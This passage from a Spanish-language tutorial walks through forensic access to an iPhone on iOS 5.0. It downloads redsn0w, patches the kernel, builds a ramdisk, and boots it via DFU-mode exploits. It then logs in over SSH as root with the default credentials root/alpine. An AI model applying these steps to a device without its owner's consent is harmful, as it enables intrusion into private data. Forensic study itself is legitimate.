    https://sites.google.com/a/iphone-dev.com/files/home/redsn0w_mac_0.9.12b2.zip

    unzip redsn0w_mac_0.9.12b2.zip

    cp redsn0w.app/Contents/MacOS/Keys.plist Keys.plist

    Ahora que tenemos las herramientas y redsn0w solo nos quedar descargar la versin

    del firmware de iOS 5.0.0 para nuestro dispositivo desde aquy pegarla en la carpeta de

    iPhone-dataprotection.

    Pasamos a parchear el kernel y a crear el Ramdisk (aplicaciones forenses para utilizar

    en el iPhone) mediante los comandos:

    parcheamos kernel y creamos ramdisk

    1

    2

    3

    4

    5

    #Parcheamos el kernel

    python python_scripts/kernel_patcher.py iPhone3,1_5.0_9A334_Restore.ipsw

    #Creamos el Ramdisk

    sh ./make_ramdisk_n90ap.sh

    Para aquellos que no os salga este paso (ya que fnciona para ciertas versiones de

    Xcode) desde dragonjar est disponible un repositorio con el kernel parcheado y el

    Ramdisk para cada una de las versiones de iPhone. Podis descargarlas desde aqu.

  • 4. Ejecutanto el Ramdisk

    Los pasos para ejecutar el Ramdisk son los siguientes:

    4.1 Ejecutamos Redsn0w con nuestra imgen.

    Vamos a ejecutar Redsn0w con el .iwsp correspondiente a nuestro iPhone, el fichero

    kernel_patched y el RamDisk mediante esta instruccin.

    ejecutando redsn0w

    1 ./redsn0w.app/Contents/MacOS/redsn0w -i iPhone3,1_5.0_9A334_Restore.ipsw

    -r myramdisk.dmg -k kernelcache.release.n90.patched

    4.2 Conectamos el telfono al ordenador por cable usb

    4.3 Apagamos el iPhone

    4.4 Pulsamos en siguiente

  • 4.5 Entramos en DFU mode

    Ejecutamos la secuencia para entrar en modo DFU: 3 segundos bloqueo + 10 segundos

    bloqueo y Home + 15 segundos Home. En esta versin de Redsnow se va mostrando

    por pantalla los botones que tenemos que ir pulsando.

  • Una vez que entrado el iPhone en modo DFU, lanza los exploits y carga el RamDisk que

    le hemos pasado mostrandonos el OK por pantalla.

  • 4.6 Conectamos con tcpreplay

    Damos permisos de ejecucin a tcpreplay.sh que ser la herramienta encargada de

    establecer conexin entre el telfono y el ordenador.

    Esta herramienta conecta el puerto 22 y 1999 del iPhone con el 2222 y 1999

    respectivamente de nuestro ordenador.

    4.7 Conectamos por SSH

    Nos conectamos por ssh al puerto 2222 del localhost y nos logueamos con las

    credenciales root/alpine.

  • Ya estamos dentro

    4.8 Desconectar

    Para desconectarnos y dejar el iPhone tal cual estaba antes, solo tenemos que

    desconectar el cable y pulsar el botn de bloqueo ms el home unos segundos.